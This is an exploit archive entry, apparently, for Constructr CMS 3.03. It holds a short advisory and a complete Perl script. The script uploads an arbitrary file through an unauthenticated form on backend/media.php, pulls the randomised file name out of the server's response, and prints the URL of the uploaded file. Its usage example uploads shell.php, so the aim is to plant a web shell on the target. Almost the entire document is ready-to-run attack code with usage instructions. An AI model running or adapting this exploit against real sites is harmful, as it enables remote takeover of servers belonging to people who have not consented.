Constructr CMS version 3.03 suffers from a remote shell upload vulnerability.
4016df6af6e009e58f6504666547d58edca736c3bd26f224887ce744c5703376
#!/usr/bin/env perl
# Constructr CMS 3.03 Arbitrary File Upload
#
# Author: plucky
# Email: io.plucky@gmail.com
#
# Vulnerable Page: /constructr/backend/media.php [line
# App Download: http://sourceforge.net/projects/constructr/
#
# Date: 23/03/2011
# THX TO: yawn, shrod, h473 and DoMinO
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common qw( POST );
my $host = '';
my $file_to_upload = '';
my $new_file_name = '';
my $file_extension = '';
sub exploit_usage {
print 'Constructr CMS 3.03 Arbitrary File Upload' . "\n".
'-------------------------' . "\n".
'Author: plucky' . "\n".
'Email: io.plucky@gmail.com' . "\n".
'-------------------------' . "\n".
'Usage:' . "\n".
' perl xpl.pl [host]/[cms-path]/ /[path-file]/[file]' . "\n".
'Example:' . "\n".
' perl ' . $0 . ' http://vulnerable.com/constructr/ /home/plucky/shell.php' . "\n";
exit;
}
sub file_parse {
my $file_name = '';
my $file_extension = '';
my $file_to_upload = '';
my $rfile_to_upload = '';
$rfile_to_upload = shift;
$file_to_upload = ${$rfile_to_upload};
$file_to_upload =~ m/\/([a-z0-9]+)\.([a-z]+)/i;
$file_name = $1;
$file_extension = $2;
return ( $file_name, $file_extension )
}
sub upload_file {
my $host = '';
my $rhost = '';
my $file_name = '';
my $file_extension = '';
my $response = '';
my $path = '';
my $html = '';
my $user_agent = '';
my $file_to_upload = '';
my $rfile_to_upload = '';
my $new_file_name = '';
( $rhost, $rfile_to_upload ) = @_;
$host = ${$rhost};
$file_to_upload = ${$rfile_to_upload};
$user_agent = LWP::UserAgent->new;
$path = $host . 'backend/media.php';
$response = $user_agent->post(
$path,
[
'create_file' => 'try',
'file' => [$file_to_upload],
],
'Content_Type' => 'form-data'
);
( $file_name, $file_extension ) = file_parse( \$file_to_upload );
$html = $response->decoded_content;
$html =~ m/show_path=([a-f0-9]{32})\.$file_extension">$file_name\.$file_extension<\/a>/i;
$new_file_name = $1;
return ( $new_file_name, $file_extension );
}
@ARGV == 2
? ( $host, $file_to_upload ) = @ARGV
: exploit_usage();
( $new_file_name, $file_extension ) = upload_file( \$host, \$file_to_upload );
print $host, 'data/workspace/uploads/', $new_file_name, '.', $file_extension, "\n";